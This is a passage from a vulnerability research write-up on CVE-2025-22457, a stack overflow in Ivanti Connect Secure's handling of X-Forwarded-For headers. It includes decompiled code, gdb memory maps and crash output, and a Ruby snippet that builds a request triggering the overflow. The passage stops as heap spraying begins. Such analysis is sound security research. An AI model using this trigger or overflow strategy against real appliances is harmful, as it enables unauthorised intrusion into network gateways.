Overview
On April 3, 2025, Ivanti published an advisory for CVE-2025-22457, an unauthenticated remote code execution vulnerability due to a stack based buffer overflow. This vulnerability affects Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure, and ZTA Gateways. Ivanti, in conjunction with the incident response firm Mandiant, also disclosed that this vulnerability was exploited in the wild by a suspected China-nexus threat actor.
Interestingly, the disclosure of CVE-2025-22457 on April 3, postdates the actual discovery and patching of the vulnerability by several months. Ivanti states that they discovered this vulnerability and patched it circa February 2025; however, due to Ivanti’s understanding of the issue at the time, it was not patched as a security vulnerability, but rather as a product bug. According to the vendor, that decision stemmed from the perceived complexity in leveraging the vulnerability for exploitation.
It has transpired that a China-nexus threat actor was able to reverse engineer the February 2025 patch, discover the vulnerability, and then proceed to build a successful exploit in spite of the complexity in leveraging the vulnerability for remote code execution. This is a salient reminder that state-sponsored threat actors are actively reverse engineering vendor patches for high-profile software targets, and are able to identify silently patched (or otherwise not publicly disclosed) vulnerabilities. Additionally, state-sponsored threat actors have both significant time and expertise to develop nuanced and complex exploits against high-profile targets. This highlights what is arguably an asymmetry between threat actor resources and capabilities, and technology producer resources and capabilities when making impact judgments about potential security issues.
This analysis details the Rapid7 vulnerability research team’s work in building a remote code execution exploit for CVE-2025-22457, targeting Ivanti Connect Secure version 22.7r2.4. For reference, it took us approximately 4 business days of work to go from an initial crash to RCE.
The Vulnerability
Security firm watchTowr published a blog on April 4, 2025 that detailed the root cause of the vulnerability. For completeness, we will also outline the vulnerability below.
The vulnerability lies in the HTTP(S) web server, located in the /home/bin/web binary. The function WebRequest::dispatchRequest will process an incoming HTTP request, and iterate over every HTTP header in the request. The following block of pseudo code (simplified from the original decompilation) shows how an X-Forwarded-For header value is processed.
// ...snip...
char * custom_ip_field = get_CUSTOM_IP_FIELD(); // “X-Forwarded-For”
char * current_header_name = ctx->header_name_array[header_index];
if ( !strcasecmp(current_header_name, custom_ip_field) )
{
char buff50[50];
char * current_header_value = ctx->header_value_array[header_index];
size_t sz = strspn(current_header_value, "01234567890."); // <--- [1]
char * alloc_ptr = alloca(sz + 2);
strlcpy(alloc_ptr, ctx->header_value_array[header_index], sz + 1);
strlcpy(buff50, ctx->header_value_array[header_index], sz + 1); // <--- [2]
ctx->in_addrD8.s_addr = -1; // <--- [3]
if ( inet_aton(current_header_value, &inp) ) {
ctx->in_addrD8 = inp;
}
ctx->remoteAddress = strdup(buff50);
// ...snip...
}
// ...snip...We can see from the above at [1] that if an HTTP request supplies an X-Forwarded-For header, the function strspn is used to count the number of leading characters in the header value that are either ASCII numbers, of a period character (e.g. any character within the character set 0123456789.). Then at [2], this count value sz is used during a call to strlcpy to copy the leading ASCII numbers or period characters from the HTTP header value to a fixed 50 character buffer on the stack, before null terminating the destination string, buff50.
As no length check is performed on sz, an attacker may supply an X-Forwarded-For header value with a length greater than 50 characters and overflow the buff50 buffer on the stack. However due to the use of strspn to count the number of characters to copy, the attacker can only overflow the buff50 buffer with characters from the character set of 0123456789..
Note [3] above, where a value is written to ctx->in_addrD8. The ctx variable is a parameter to WebRequest::dispatchRequest, and holds the state of the current request. As we will see, the ctx variable will become a crucial component for exploiting this vulnerability.
Exploitation
The limitation in the potential usable characters during the overflow makes exploitation challenging; typically an attacker would want to place arbitrary bytes in the range 0x00 - 0xFF within the overflow buffer, in order to overwrite a return address with an arbitrary value, or build out a Return Oriented Programming (ROP) chain that will contain pointers and other arbitrary values.
By only being able to overflow the buffer with characters from the character set 0123456789., the attacker is limited to bytes in the range 0x30 - 0x39 (The ASCII characters 0123456789), 0x2e (The ASCII . character), and 0x00 (An ASCII null terminator).
Using GDB, we can quickly see the issue with only being able to place characters from the character set 0123456789. in the overflow buffer. While Address Space Layout Randomization (ASLR) is in place, we know from our previous work on Ivanti Connect Secure that the target web binary is a 32-bit x86 process, and that only 9 bits of entropy are used. This makes brute forcing a single address possible in around ~512 attempts (2 to the power of 9). However, inspecting the memory layout below shows us that, notwithstanding ASLR, there is nothing actually mapped in an addressable range that is comprised of characters we can actually construct a valid pointer for (e.g. 0x39393939 or 0x2e2e2e2e). The main process binary, heap, and shared objects are all mapped from around 0x56000000 and above.
(gdb) info proc mapp
process 30410
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x565c6000 0x5672a000 0x164000 0x0 /home/bin/web
0x5672b000 0x5672e000 0x3000 0x164000 /home/bin/web
0x5672e000 0x56730000 0x2000 0x167000 /home/bin/web
0x56730000 0x56736000 0x6000 0x0
0x568c7000 0x56abb000 0x1f4000 0x0 [heap]
0xe7396000 0xe7397000 0x1000 0x0 /data/runtime/.distmap
0xe7397000 0xe740c000 0x75000 0x0
0xe740c000 0xec40c000 0x5000000 0x0 /data/runtime/mtmp/lmdb/datae/data.mdb
0xec40c000 0xec44d000 0x41000 0x0 /data/runtime/mtmp/lmdb/datae/lock.mdb
0xec44d000 0xec4ae000 0x61000 0x0
0xec4ae000 0xec4af000 0x1000 0x0 /data/runtime/.shardmap
0xec4af000 0xf14af000 0x5000000 0x0 /data/runtime/mtmp/lmdb/randomVal/data.mdb
0xf14af000 0xf14f0000 0x41000 0x0 /data/runtime/mtmp/lmdb/randomVal/lock.mdb
0xf14f0000 0xf14f1000 0x1000 0x0 /data/runtime/.sessiongen
0xf14f1000 0xf14f5000 0x4000 0x0 /data/runtime/cockpit/dashboardCounters
0xf14f5000 0xf14f6000 0x1000 0x0 /data/runtime/mtmp/webactivityflag
0xf14f6000 0xf14f7000 0x1000 0x0 /data/var/runtime/tmp/.license_generation
0xf14f7000 0xf14f8000 0x1000 0x0 /data/runtime/name
0xf14f8000 0xf14f9000 0x1000 0x0 /data/var/runtime/tmp/.machineid
0xf14f9000 0xf15fc000 0x103000 0x0
0xf15fc000 0xf19fc000 0x400000 0x0 /data/runtime/mtmp/system
0xf19fc000 0xf19fd000 0x1000 0x0 /data/runtime/.csctx
0xf19fd000 0xf1a7b000 0x7e000 0x0 /home/config/schema.map
0xf1a7b000 0xf1a7d000 0x2000 0x0 /data/runtime/.loginfo
0xf1a7d000 0xf1a93000 0x16000 0x0 /data/var/tmp/web.statementcounters
0xf1a93000 0xf1aab000 0x18000 0x0
0xf1aab000 0xf1ad0000 0x25000 0x0
0xf1ad0000 0xf1ad4000 0x4000 0x0 /lib/libattr.so.1.1.0
0xf1ad4000 0xf1ad5000 0x1000 0x3000 /lib/libattr.so.1.1.0
0xf1ad5000 0xf1ad6000 0x1000 0x4000 /lib/libattr.so.1.1.0
0xf1ad6000 0xf1b02000 0x2c000 0x0 /home/lib/liblog4cpp.so.4
0xf1b02000 0xf1b03000 0x1000 0x2c000 /home/lib/liblog4cpp.so.4
0xf1b03000 0xf1b32000 0x2f000 0x0 /home/lib/liblog4shib.so.2
0xf1b32000 0xf1b34000 0x2000 0x2e000 /home/lib/liblog4shib.so.2
0xf1b34000 0xf1b35000 0x1000 0x0
0xf1b35000 0xf1e9d000 0x368000 0x0 /home/lib/libxerces-c-3.2.so
0xf1e9d000 0xf1ece000 0x31000 0x367000 /home/lib/libxerces-c-3.2.so
0xf1ece000 0xf1f16000 0x48000 0x0 /home/lib/libiodbc.so.2
0xf1f16000 0xf1f18000 0x2000 0x47000 /home/lib/libiodbc.so.2
0xf1f18000 0xf32ea000 0x13d2000 0x0 /usr/lib/libicudata.so.50.2
0xf32ea000 0xf32eb000 0x1000 0x13d1000 /usr/lib/libicudata.so.50.2
0xf32eb000 0xf32ec000 0x1000 0x13d2000 /usr/lib/libicudata.so.50.2
0xf32ec000 0xf34e9000 0x1fd000 0x0 /usr/lib/libicui18n.so.50.2
0xf34e9000 0xf34f0000 0x7000 0x1fc000 /usr/lib/libicui18n.so.50.2
0xf34f0000 0xf34f1000 0x1000 0x203000 /usr/lib/libicui18n.so.50.2
0xf34f1000 0xf34f3000 0x2000 0x0
0xf34f3000 0xf3655000 0x162000 0x0 /usr/lib/libicuuc.so.50.2
0xf3655000 0xf365f000 0xa000 0x161000 /usr/lib/libicuuc.so.50.2
0xf365f000 0xf3660000 0x1000 0x16b000 /usr/lib/libicuuc.so.50.2
0xf3660000 0xf3664000 0x4000 0x0
0xf3664000 0xf3679000 0x15000 0x0 /lib/libresolv.so.2
0xf3679000 0xf367a000 0x1000 0x14000 /lib/libresolv.so.2
0xf367a000 0xf367b000 0x1000 0x15000 /lib/libresolv.so.2
0xf367b000 0xf367d000 0x2000 0x0
0xf367d000 0xf36a5000 0x28000 0x0 /lib/liblzma.so.5.2.2
0xf36a5000 0xf36a6000 0x1000 0x27000 /lib/liblzma.so.5.2.2
0xf36a6000 0xf36a7000 0x1000 0x28000 /lib/liblzma.so.5.2.2
0xf36a7000 0xf36a9000 0x2000 0x0 /lib/libfreebl3.so
0xf36a9000 0xf36aa000 0x1000 0x1000 /lib/libfreebl3.so
0xf36aa000 0xf36ab000 0x1000 0x2000 /lib/libfreebl3.so
0xf36ab000 0xf36ac000 0x1000 0x0
0xf36ac000 0xf3798000 0xec000 0x0 /usr/lib/libboost_regex-mt.so.1.53.0
0xf3798000 0xf379b000 0x3000 0xeb000 /usr/lib/libboost_regex-mt.so.1.53.0
0xf379b000 0xf379c000 0x1000 0xee000 /usr/lib/libboost_regex-mt.so.1.53.0
0xf379c000 0xf379d000 0x1000 0x0
0xf379d000 0xf37ab000 0xe000 0x0 /usr/lib/libboost_date_time-mt.so.1.53.0
0xf37ab000 0xf37ac000 0x1000 0xd000 /usr/lib/libboost_date_time-mt.so.1.53.0
0xf37ac000 0xf37ad000 0x1000 0xe000 /usr/lib/libboost_date_time-mt.so.1.53.0
0xf37ad000 0xf3806000 0x59000 0x0 /home/lib/libsoftokn3.so
0xf3806000 0xf3807000 0x1000 0x59000 /home/lib/libsoftokn3.so
0xf3807000 0xf380a000 0x3000 0x59000 /home/lib/libsoftokn3.so
0xf380a000 0xf380b000 0x1000 0x5c000 /home/lib/libsoftokn3.so
0xf380b000 0xf380f000 0x4000 0x0 /home/lib/libplc4.so
0xf380f000 0xf3810000 0x1000 0x3000 /home/lib/libplc4.so
0xf3810000 0xf3811000 0x1000 0x4000 /home/lib/libplc4.so
0xf3811000 0xf3812000 0x1000 0x0
0xf3812000 0xf3815000 0x3000 0x0 /home/lib/libplds4.so
0xf3815000 0xf3816000 0x1000 0x2000 /home/lib/libplds4.so
0xf3816000 0xf3817000 0x1000 0x3000 /home/lib/libplds4.so
0xf3817000 0xf384f000 0x38000 0x0 /home/lib/libnspr4.so
0xf384f000 0xf3850000 0x1000 0x37000 /home/lib/libnspr4.so
0xf3850000 0xf3851000 0x1000 0x38000 /home/lib/libnspr4.so
0xf3851000 0xf3853000 0x2000 0x0
0xf3853000 0xf38d9000 0x86000 0x0 /home/lib/libnss3.so
0xf38d9000 0xf38da000 0x1000 0x86000 /home/lib/libnss3.so
0xf38da000 0xf38de000 0x4000 0x86000 /home/lib/libnss3.so
0xf38de000 0xf38df000 0x1000 0x8a000 /home/lib/libnss3.so
0xf38df000 0xf392f000 0x50000 0x0 /home/lib/libical.so.0.44.0
0xf392f000 0xf3930000 0x1000 0x50000 /home/lib/libical.so.0.44.0
0xf3930000 0xf3938000 0x8000 0x50000 /home/lib/libical.so.0.44.0
0xf3938000 0xf3939000 0x1000 0x58000 /home/lib/libical.so.0.44.0
0xf3939000 0xf393a000 0x1000 0x0
0xf393a000 0xf3943000 0x9000 0x0 /home/lib/libcockpitgraph.so
0xf3943000 0xf3944000 0x1000 0x8000 /home/lib/libcockpitgraph.so
0xf3944000 0xf3945000 0x1000 0x9000 /home/lib/libcockpitgraph.so
0xf3945000 0xf3946000 0x1000 0x0
0xf3946000 0xf394a000 0x4000 0x0 /lib/libcap.so.2
0xf394a000 0xf394b000 0x1000 0x3000 /lib/libcap.so.2
0xf394b000 0xf394c000 0x1000 0x4000 /lib/libcap.so.2
0xf394c000 0xf3dc3000 0x477000 0x0 /home/lib/libsaml.so.12.0.0
0xf3dc3000 0xf3dc4000 0x1000 0x477000 /home/lib/libsaml.so.12.0.0
0xf3dc4000 0xf3f75000 0x1b1000 0x477000 /home/lib/libsaml.so.12.0.0
0xf3f75000 0xf3f77000 0x2000 0x628000 /home/lib/libsaml.so.12.0.0
0xf3f77000 0xf417a000 0x203000 0x0 /home/lib/libxmltooling.so.10.0.0
0xf417a000 0xf41ed000 0x73000 0x202000 /home/lib/libxmltooling.so.10.0.0
0xf41ed000 0xf41ef000 0x2000 0x275000 /home/lib/libxmltooling.so.10.0.0
0xf41ef000 0xf42e3000 0xf4000 0x0 /home/lib/libxml-security-c.so.20
0xf42e3000 0xf42e9000 0x6000 0xf3000 /home/lib/libxml-security-c.so.20
0xf42e9000 0xf42eb000 0x2000 0xf9000 /home/lib/libxml-security-c.so.20
0xf42eb000 0xf42ec000 0x1000 0x0
0xf42ec000 0xf42f0000 0x4000 0x0 /home/lib/libmaxminddb.so.0
0xf42f0000 0xf42f1000 0x1000 0x3000 /home/lib/libmaxminddb.so.0
0xf42f1000 0xf4311000 0x20000 0x0 /home/lib/libdsauth_sqliodbc.so
0xf4311000 0xf4312000 0x1000 0x20000 /home/lib/libdsauth_sqliodbc.so
0xf4312000 0xf4313000 0x1000 0x20000 /home/lib/libdsauth_sqliodbc.so
0xf4313000 0xf4314000 0x1000 0x21000 /home/lib/libdsauth_sqliodbc.so
0xf4314000 0xf438f000 0x7b000 0x0 /home/lib/libcurl.so.4
0xf438f000 0xf4391000 0x2000 0x7a000 /home/lib/libcurl.so.4
0xf4391000 0xf4393000 0x2000 0x7c000 /home/lib/libcurl.so.4
0xf4393000 0xf43a7000 0x14000 0x0 /home/lib/liblmdb-0.9.18.so
0xf43a7000 0xf43a8000 0x1000 0x13000 /home/lib/liblmdb-0.9.18.so
0xf43a8000 0xf43af000 0x7000 0x0 /lib/librt.so.1
0xf43af000 0xf43b0000 0x1000 0x6000 /lib/librt.so.1
0xf43b0000 0xf43b1000 0x1000 0x7000 /lib/librt.so.1
0xf43b1000 0xf43b2000 0x1000 0x0
0xf43b2000 0xf474a000 0x398000 0x0 /home/lib/libexportxml.so
0xf474a000 0xf474b000 0x1000 0x397000 /home/lib/libexportxml.so
0xf474b000 0xf476d000 0x22000 0x398000 /home/lib/libexportxml.so
0xf476d000 0xf4afd000 0x390000 0x0 /home/lib/libexportimport.so
0xf4afd000 0xf4afe000 0x1000 0x38f000 /home/lib/libexportimport.so
0xf4afe000 0xf4b20000 0x22000 0x390000 /home/lib/libexportimport.so
0xf4b20000 0xf4c0c000 0xec000 0x0 /lib/libboost_regex.so.1.53.0
0xf4c0c000 0xf4c0f000 0x3000 0xeb000 /lib/libboost_regex.so.1.53.0
0xf4c0f000 0xf4c10000 0x1000 0xee000 /lib/libboost_regex.so.1.53.0
0xf4c10000 0xf4c11000 0x1000 0x0
0xf4c11000 0xf4c25000 0x14000 0x0 /lib/libboost_filesystem-mt.so.1.53.0
0xf4c25000 0xf4c26000 0x1000 0x14000 /lib/libboost_filesystem-mt.so.1.53.0
0xf4c26000 0xf4c27000 0x1000 0x14000 /lib/libboost_filesystem-mt.so.1.53.0
0xf4c27000 0xf4c28000 0x1000 0x15000 /lib/libboost_filesystem-mt.so.1.53.0
0xf4c28000 0xf4c2a000 0x2000 0x0 /lib/libboost_system-mt.so.1.53.0
0xf4c2a000 0xf4c2b000 0x1000 0x2000 /lib/libboost_system-mt.so.1.53.0
0xf4c2b000 0xf4c2c000 0x1000 0x2000 /lib/libboost_system-mt.so.1.53.0
0xf4c2c000 0xf4c2d000 0x1000 0x3000 /lib/libboost_system-mt.so.1.53.0
0xf4c2d000 0xf4c2e000 0x1000 0x0
0xf4c2e000 0xf4c41000 0x13000 0x0 /lib/libboost_thread-mt.so.1.53.0
0xf4c41000 0xf4c42000 0x1000 0x13000 /lib/libboost_thread-mt.so.1.53.0
0xf4c42000 0xf4c43000 0x1000 0x13000 /lib/libboost_thread-mt.so.1.53.0
0xf4c43000 0xf4c44000 0x1000 0x14000 /lib/libboost_thread-mt.so.1.53.0
0xf4c44000 0xf4c55000 0x11000 0x0 /home/lib/libhiredis.so.1.0.0
0xf4c55000 0xf4c56000 0x1000 0x10000 /home/lib/libhiredis.so.1.0.0
0xf4c56000 0xf4c57000 0x1000 0x11000 /home/lib/libhiredis.so.1.0.0
0xf4c57000 0xf4caa000 0x53000 0x0 /home/lib/libcdlncf.so
0xf4caa000 0xf4cab000 0x1000 0x52000 /home/lib/libcdlncf.so
0xf4cab000 0xf4cac000 0x1000 0x53000 /home/lib/libcdlncf.so
0xf4cac000 0xf4cad000 0x1000 0x0
0xf4cad000 0xf4cba000 0xd000 0x0 /home/lib/liblber-2.4-releng.so.2
0xf4cba000 0xf4cbb000 0x1000 0xc000 /home/lib/liblber-2.4-releng.so.2
0xf4cbb000 0xf4cbc000 0x1000 0xd000 /home/lib/liblber-2.4-releng.so.2
0xf4cbc000 0xf4d03000 0x47000 0x0 /home/lib/libldap-2.4-releng.so.2
0xf4d03000 0xf4d04000 0x1000 0x46000 /home/lib/libldap-2.4-releng.so.2
0xf4d04000 0xf4d05000 0x1000 0x47000 /home/lib/libldap-2.4-releng.so.2
0xf4d05000 0xf4d06000 0x1000 0x0
0xf4d06000 0xf4e57000 0x151000 0x0 /home/lib/libxml2.so.2.9.11
0xf4e57000 0xf4e5c000 0x5000 0x150000 /home/lib/libxml2.so.2.9.11
0xf4e5c000 0xf4e5d000 0x1000 0x155000 /home/lib/libxml2.so.2.9.11
0xf4e5d000 0xf4e5e000 0x1000 0x0
0xf4e5e000 0xf4e62000 0x4000 0x0 /lib/libuuid.so.1
0xf4e62000 0xf4e63000 0x1000 0x3000 /lib/libuuid.so.1
0xf4e63000 0xf4e64000 0x1000 0x4000 /lib/libuuid.so.1
0xf4e64000 0xf4e6b000 0x7000 0x0 /lib/libcrypt.so.1
0xf4e6b000 0xf4e6c000 0x1000 0x7000 /lib/libcrypt.so.1
0xf4e6c000 0xf4e6d000 0x1000 0x7000 /lib/libcrypt.so.1
0xf4e6d000 0xf4e6e000 0x1000 0x8000 /lib/libcrypt.so.1
0xf4e6e000 0xf4e95000 0x27000 0x0
0xf4e95000 0xf4eac000 0x17000 0x0 /lib/libnsl-2.17.so
0xf4eac000 0xf4ead000 0x1000 0x16000 /lib/libnsl-2.17.so
0xf4ead000 0xf4eae000 0x1000 0x17000 /lib/libnsl-2.17.so
0xf4eae000 0xf4eb0000 0x2000 0x0
0xf4eb0000 0xf4edb000 0x2b000 0x0 /home/lib/libexpat.so.1.6.7
0xf4edb000 0xf4edc000 0x1000 0x2b000 /home/lib/libexpat.so.1.6.7
0xf4edc000 0xf4ede000 0x2000 0x2b000 /home/lib/libexpat.so.1.6.7
0xf4ede000 0xf4edf000 0x1000 0x2d000 /home/lib/libexpat.so.1.6.7
0xf4edf000 0xf4ee0000 0x1000 0x0
0xf4ee0000 0xf4ee3000 0x3000 0x0 /lib/libdl.so.2
0xf4ee3000 0xf4ee4000 0x1000 0x2000 /lib/libdl.so.2
0xf4ee4000 0xf4ee5000 0x1000 0x3000 /lib/libdl.so.2
0xf4ee5000 0xf50a9000 0x1c4000 0x0 /lib/libc.so.6
0xf50a9000 0xf50aa000 0x1000 0x1c4000 /lib/libc.so.6
0xf50aa000 0xf50ac000 0x2000 0x1c4000 /lib/libc.so.6
0xf50ac000 0xf50ad000 0x1000 0x1c6000 /lib/libc.so.6
0xf50ad000 0xf50b0000 0x3000 0x0
0xf50b0000 0xf50c9000 0x19000 0x0 /lib/libgcc_s.so.1
0xf50c9000 0xf50ca000 0x1000 0x18000 /lib/libgcc_s.so.1
0xf50ca000 0xf50cb000 0x1000 0x19000 /lib/libgcc_s.so.1
0xf50cb000 0xf510b000 0x40000 0x0 /lib/libm.so.6
0xf510b000 0xf510c000 0x1000 0x3f000 /lib/libm.so.6
0xf510c000 0xf510d000 0x1000 0x40000 /lib/libm.so.6
0xf510d000 0xf51ec000 0xdf000 0x0 /lib/libstdc++.so.6.0.19
0xf51ec000 0xf51ed000 0x1000 0xdf000 /lib/libstdc++.so.6.0.19
0xf51ed000 0xf51f1000 0x4000 0xdf000 /lib/libstdc++.so.6.0.19
0xf51f1000 0xf51f2000 0x1000 0xe3000 /lib/libstdc++.so.6.0.19
0xf51f2000 0xf51fa000 0x8000 0x0
0xf51fa000 0xf5233000 0x39000 0x0 /home/lib/libagentdcs.so
0xf5233000 0xf5234000 0x1000 0x38000 /home/lib/libagentdcs.so
0xf5234000 0xf5235000 0x1000 0x39000 /home/lib/libagentdcs.so
0xf5235000 0xf5263000 0x2e000 0x0 /home/lib/libhtml5core.so
0xf5263000 0xf5264000 0x1000 0x2e000 /home/lib/libhtml5core.so
0xf5264000 0xf5265000 0x1000 0x2e000 /home/lib/libhtml5core.so
0xf5265000 0xf5266000 0x1000 0x2f000 /home/lib/libhtml5core.so
0xf5266000 0xf529f000 0x39000 0x0 /home/lib/libdssamllibs.so
0xf529f000 0xf52a0000 0x1000 0x39000 /home/lib/libdssamllibs.so
0xf52a0000 0xf52a1000 0x1000 0x39000 /home/lib/libdssamllibs.so
0xf52a1000 0xf52a2000 0x1000 0x3a000 /home/lib/libdssamllibs.so
0xf52a2000 0xf57f6000 0x554000 0x0 /home/lib/libPKIF.so.7.0.0
0xf57f6000 0xf5822000 0x2c000 0x553000 /home/lib/libPKIF.so.7.0.0
0xf5822000 0xf584f000 0x2d000 0x57f000 /home/lib/libPKIF.so.7.0.0
0xf584f000 0xf5851000 0x2000 0x0
0xf5851000 0xf5863000 0x12000 0x0 /home/lib/libpkif.so
0xf5863000 0xf5864000 0x1000 0x12000 /home/lib/libpkif.so
0xf5864000 0xf5865000 0x1000 0x12000 /home/lib/libpkif.so
0xf5865000 0xf5866000 0x1000 0x13000 /home/lib/libpkif.so
0xf5866000 0xf5867000 0x1000 0x0
0xf5867000 0xf5949000 0xe2000 0x0 /home/lib/libprotobuf.so.4.0.0
0xf5949000 0xf594c000 0x3000 0xe2000 /home/lib/libprotobuf.so.4.0.0
0xf594c000 0xf5998000 0x4c000 0x0 /home/lib/libzmq.so.4.0.0
0xf5998000 0xf599a000 0x2000 0x4c000 /home/lib/libzmq.so.4.0.0
0xf599a000 0xf59b1000 0x17000 0x0 /lib/libpthread.so.0
0xf59b1000 0xf59b2000 0x1000 0x16000 /lib/libpthread.so.0
0xf59b2000 0xf59b3000 0x1000 0x17000 /lib/libpthread.so.0
0xf59b3000 0xf59b5000 0x2000 0x0
0xf59b5000 0xf59ca000 0x15000 0x0 /lib/libz.so.1.2.7
0xf59ca000 0xf59cb000 0x1000 0x14000 /lib/libz.so.1.2.7
0xf59cb000 0xf59cc000 0x1000 0x15000 /lib/libz.so.1.2.7
0xf59cc000 0xf5a75000 0xa9000 0x0 /lib/libssl.so.3
0xf5a75000 0xf5a76000 0x1000 0xa9000 /lib/libssl.so.3
0xf5a76000 0xf5a7b000 0x5000 0xa9000 /lib/libssl.so.3
0xf5a7b000 0xf5a7f000 0x4000 0xae000 /lib/libssl.so.3
0xf5a7f000 0xf5a80000 0x1000 0x0
0xf5a80000 0xf5a83000 0x3000 0x0 /home/lib/libsvcmonitor.so
0xf5a83000 0xf5a84000 0x1000 0x2000 /home/lib/libsvcmonitor.so
0xf5a84000 0xf5a85000 0x1000 0x3000 /home/lib/libsvcmonitor.so
0xf5a85000 0xf5f82000 0x4fd000 0x0 /home/lib/libdslibs.so
0xf5f82000 0xf5f83000 0x1000 0x4fd000 /home/lib/libdslibs.so
0xf5f83000 0xf5f8a000 0x7000 0x4fd000 /home/lib/libdslibs.so
0xf5f8a000 0xf5f96000 0xc000 0x504000 /home/lib/libdslibs.so
0xf5f96000 0xf5fab000 0x15000 0x0
0xf5fab000 0xf5fd2000 0x27000 0x0 /home/lib/libdsagentd.so
0xf5fd2000 0xf5fd3000 0x1000 0x26000 /home/lib/libdsagentd.so
0xf5fd3000 0xf5fd4000 0x1000 0x27000 /home/lib/libdsagentd.so
0xf5fd4000 0xf6045000 0x71000 0x0 /home/lib/libwebsockets.so.18
0xf6045000 0xf6046000 0x1000 0x71000 /home/lib/libwebsockets.so.18
0xf6046000 0xf6047000 0x1000 0x71000 /home/lib/libwebsockets.so.18
0xf6047000 0xf6048000 0x1000 0x72000 /home/lib/libwebsockets.so.18
0xf6048000 0xf6472000 0x42a000 0x0 /home/lib/libdspsamllibs.so
0xf6472000 0xf6475000 0x3000 0x429000 /home/lib/libdspsamllibs.so
0xf6475000 0xf6497000 0x22000 0x42c000 /home/lib/libdspsamllibs.so
0xf6497000 0xf6499000 0x2000 0x0
0xf6499000 0xf79ff000 0x1566000 0x0 /home/lib/libdsplibs.so
0xf79ff000 0xf7a00000 0x1000 0x1566000 /home/lib/libdsplibs.so
0xf7a00000 0xf7a15000 0x15000 0x1566000 /home/lib/libdsplibs.so
0xf7a15000 0xf7a4e000 0x39000 0x157b000 /home/lib/libdsplibs.so
0xf7a4e000 0xf7af1000 0xa3000 0x0
0xf7af1000 0xf7ed6000 0x3e5000 0x0 /lib/libcrypto.so.3
0xf7ed6000 0xf7ed7000 0x1000 0x3e5000 /lib/libcrypto.so.3
0xf7ed7000 0xf7f09000 0x32000 0x3e5000 /lib/libcrypto.so.3
0xf7f09000 0xf7f0b000 0x2000 0x417000 /lib/libcrypto.so.3
0xf7f0b000 0xf7f0d000 0x2000 0x0
0xf7f0d000 0xf7f3e000 0x31000 0x0 /home/lib/libdspreload.so
0xf7f3e000 0xf7f3f000 0x1000 0x30000 /home/lib/libdspreload.so
0xf7f3f000 0xf7f41000 0x2000 0x31000 /home/lib/libdspreload.so
0xf7f41000 0xf7f42000 0x1000 0x0
0xf7f42000 0xf7f46000 0x4000 0x0 /lib/libsafe.so
0xf7f46000 0xf7f47000 0x1000 0x3000 /lib/libsafe.so
0xf7f47000 0xf7f49000 0x2000 0x0
0xf7f49000 0xf7f4c000 0x3000 0x0 [vvar]
0xf7f4c000 0xf7f4e000 0x2000 0x0 [vdso]
0xf7f4e000 0xf7f70000 0x22000 0x0 /lib/ld-linux.so.2
0xf7f70000 0xf7f71000 0x1000 0x21000 /lib/ld-linux.so.2
0xf7f71000 0xf7f72000 0x1000 0x22000 /lib/ld-linux.so.2
0xff7f7000 0xff884000 0x8d000 0x0 [stack]
(gdb)It will not be possible to overflow a return address, as if we do we will not be able to address anything useful. To continue, we need to understand what other things we can target during the overflow that are not the saved return address on the stack.
Triggering the Overflow
To explore this, we can use the Ruby snippet below to construct a simple HTTP request to trigger the overflow.
buffer = '1' * 622
buffer += [
0x31313131, # ebx
0x32323232, # esi
0x33333333, # edi
0x34343434, # ebp
0x35353535, # eip
0x36363636 # [ebp+8]
].pack('V*')
body = "GET / HTTP/1.1\r\n"
body << "X-Forwarded-For: #{buffer}\r\n"
body << "\r\n"
# transmit body as a HTTP(S) request...The resulting 646 character value of 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111122223333444455556666 will overflow the stack, and we can see in GDB that a segmentation fault (SIGSEGV) has occurred.
Program received signal SIGSEGV, Segmentation fault.
0x5668832b in ?? ()
(gdb) i r
eax 0x286 646
ecx 0x36 54
edx 0x36363636 909522486
ebx 0x5672e000 1450369024
esp 0xff87e560 0xff87e560
ebp 0xff87eb88 0xff87eb88
esi 0xff87e90e -7870194
edi 0x0 0
eip 0x5668832b 0x5668832b
eflags 0x210202 [ IF RF ID ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb) bt 4
#0 0x5668832b in ?? ()
#1 0x35353535 in ?? ()
#2 0x36363636 in ?? ()
#3 0x566f7500 in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
(gdb) x/8i $eip-16
0x5668831b: cmp BYTE PTR [ecx+0x44892434],cl
0x56688321: and al,0x4
0x56688323: call 0x565ec880 <strlcpy@plt>
0x56688328: mov edx,DWORD PTR [ebp+0x8]
=> 0x5668832b: mov DWORD PTR [edx+0xd8],0xffffffff
0x56688335: lea edx,[ebp-0x140]
0x5668833b: mov DWORD PTR [esp+0x4],edx
0x5668833f: mov eax,DWORD PTR [ebp-0x304]
(gdb) x/1xw $ebp+8
0xff87eb90: 0x36363636
(gdb)We can see above that we have crashed just after the overflow (location [2] in our pseudo code snippet earlier), during the statement ctx->in_addrD8.s_addr = -1; (location [3] earlier). Of note is the register edx, which is now fully controlled by our overflow (0x36363636, or 6666 in ASCII). We can see from the disassembly in GDB that the value of edx was read from the stack’s base pointer at [ebp+8]. As the function WebRequest::dispatchRequest uses a base pointer-based stack frame (the function’s prologue stores esp in ebp), and the ctx variable is stored on the stack, we can overwrite this variable during the overflow and the overflowed value is the used throughout the function, referenced via [ebp+8]. We can leverage this capability to control the ctx variable, rather than targeting a return address on the stack.
We still have an issue in that we cannot actually address anything useful. As we have already seen, nothing is loaded at an address we can construct a valid pointer for, using the limited character set available to us. While we cannot influence where any shared libraries are loaded, we can influence where data is stored. With this in mind, and given the target process is a 32-bit process, we can leverage a heap spray to place attacker-controlled data at a location we can actually address. This is complicated somewhat by the heap being loaded after the main binary (/home/bin/web) somewhere after the address 0x56000000, so any heap spray will need to place data at an address we can construct a valid pointer for, e.g. 0x39393939 or 0x2e2e2e2e, all of which will have to occur before the main binary. This forces us to perform a large heap spray and consume the entire address space, in order to force the heap allocator to wrap around and start serving allocations at lower addresses, and ultimately at addresses we can construct valid pointers for.
Heap Spraying
